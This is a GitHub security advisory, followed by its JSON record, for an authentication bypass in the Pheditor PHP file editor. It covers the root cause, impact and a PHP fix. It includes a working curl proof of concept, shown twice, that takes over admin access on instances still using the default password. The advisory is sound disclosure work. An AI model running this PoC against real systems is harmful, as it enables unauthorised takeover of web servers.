GHSA-F25V-X6VR-962G
Vulnerability from github – Published: 2026-07-24 21:54 – Updated: 2026-07-24 21:54Summary
The forced password-change flow, triggered when the stored password is still the default (admin), does not verify that the password submitted by the client actually matches the current password. Any non-empty value in pheditor_password is enough to reach the password-change form, and submitting pheditor_new_password / pheditor_confirm_password in the same request is enough to set an arbitrary new password and obtain an authenticated session — without ever proving knowledge of the current password.
Root Cause
pheditor.php line 163:
if (PASSWORD == hash('sha512', 'admin')) { // still default — force change prompt
This checks whether the stored PASSWORD constant is still the default value. It does not check whether the submitted pheditor_password matches it. As a result, on any instance that hasn't changed the default password, the check passes regardless of what the client actually sends, and the subsequent password-change branch is reachable without authentication.
PoC
TARGET="https://victim.com/pheditor.php"
# Any non-empty value works here — password is never actually verified
curl -c /tmp/j.txt \
-d 'pheditor_password=anything' \
-d 'pheditor_new_password=attacker123' \
-d 'pheditor_confirm_password=attacker123' \
"$TARGET" -L -s -o /dev/null
# Session is now authenticated as admin, with the password changed to attacker123
Impact
On any instance where the default password has not yet been changed, an unauthenticated attacker can set an arbitrary new admin password and obtain a fully authenticated session, without knowing the current password. This is a complete authentication bypass, not merely "default credentials in use" — it holds even if the operator believes the instance is protected because the login form is present.
Remediation
Verify the submitted password against the stored PASSWORD constant before entering the forced password-change branch, so the flow is reachable only by someone who actually knows the current password:
$submitted_hash = hash('sha512', $_POST['pheditor_password']);
if (PASSWORD == hash('sha512', 'admin') && $submitted_hash === PASSWORD) {
// proceed to forced password-change flow
} else {
// treat as a normal login attempt (including rate-limiting)
}
Note on scope
The original report submitted alongside this finding also included two additional items:
- Unrestricted PHP upload — addressed as intended behavior (Pheditor is a single-admin PHP file editor; PHP file creation/editing is core to its function, and pattern-restricting only the upload path doesn't reduce risk since the same result is reachable via the
save/newfileaction). Documented explicitly in the README's new Security Model section. - Terminal allowlist bypass (
php -r ...) — a duplicate of a previously reported and already-patched issue (GHSA-g3hq-hphg-8fhh, fixed in v2.0.7).
This advisory has been scoped to the authentication bypass specifically, since it's a distinct root cause from both of those. Full responses to all three points are in the comments below.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "pheditor/pheditor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1392"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T21:54:24Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe forced password-change flow, triggered when the stored password is still the default (`admin`), does not verify that the password submitted by the client actually matches the current password. Any non-empty value in `pheditor_password` is enough to reach the password-change form, and submitting `pheditor_new_password` / `pheditor_confirm_password` in the same request is enough to set an arbitrary new password and obtain an authenticated session \u2014 without ever proving knowledge of the current password.\n\n## Root Cause\n\n`pheditor.php` line 163:\n\n```php\nif (PASSWORD == hash(\u0027sha512\u0027, \u0027admin\u0027)) { // still default \u2014 force change prompt\n```\n\nThis checks whether the **stored** `PASSWORD` constant is still the default value. It does not check whether the **submitted** `pheditor_password` matches it. As a result, on any instance that hasn\u0027t changed the default password, the check passes regardless of what the client actually sends, and the subsequent password-change branch is reachable without authentication.\n\n## PoC\n\n```bash\nTARGET=\"https://victim.com/pheditor.php\"\n\n# Any non-empty value works here \u2014 password is never actually verified\ncurl -c /tmp/j.txt \\\n -d \u0027pheditor_password=anything\u0027 \\\n -d \u0027pheditor_new_password=attacker123\u0027 \\\n -d \u0027pheditor_confirm_password=attacker123\u0027 \\\n \"$TARGET\" -L -s -o /dev/null\n\n# Session is now authenticated as admin, with the password changed to attacker123\n```\n\n## Impact\n\nOn any instance where the default password has not yet been changed, an unauthenticated attacker can set an arbitrary new admin password and obtain a fully authenticated session, without knowing the current password. This is a complete authentication bypass, not merely \"default credentials in use\" \u2014 it holds even if the operator believes the instance is protected because the login form is present.\n\n## Remediation\n\nVerify the submitted password against the stored `PASSWORD` constant *before* entering the forced password-change branch, so the flow is reachable only by someone who actually knows the current password:\n\n```php\n$submitted_hash = hash(\u0027sha512\u0027, $_POST[\u0027pheditor_password\u0027]);\n\nif (PASSWORD == hash(\u0027sha512\u0027, \u0027admin\u0027) \u0026\u0026 $submitted_hash === PASSWORD) {\n // proceed to forced password-change flow\n} else {\n // treat as a normal login attempt (including rate-limiting)\n}\n```\n\n## Note on scope\n\nThe original report submitted alongside this finding also included two additional items:\n\n- **Unrestricted PHP upload** \u2014 addressed as intended behavior (Pheditor is a single-admin PHP file editor; PHP file creation/editing is core to its function, and pattern-restricting only the upload path doesn\u0027t reduce risk since the same result is reachable via the `save`/`newfile` action). Documented explicitly in the README\u0027s new Security Model section.\n- **Terminal allowlist bypass (`php -r ...`)** \u2014 a duplicate of a previously reported and already-patched issue (GHSA-g3hq-hphg-8fhh, fixed in v2.0.7).\n\nThis advisory has been scoped to the authentication bypass specifically, since it\u0027s a distinct root cause from both of those. Full responses to all three points are in the comments below.",
"id": "GHSA-f25v-x6vr-962g",
"modified": "2026-07-24T21:54:24Z",
"published": "2026-07-24T21:54:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pheditor/pheditor/security/advisories/GHSA-f25v-x6vr-962g"
},
{
"type": "WEB",
"url": "https://github.com/pheditor/pheditor/commit/0978bcda644832b67357340e2f271e32d86fdf86"
},
{
"type": "PACKAGE",
"url": "https://github.com/pheditor/pheditor"
},
{
"type": "WEB",
"url": "https://github.com/pheditor/pheditor/releases/tag/2.0.8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Pheditor: Authentication Bypass in Forced Password-Change Flow via Unverified Current Password"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.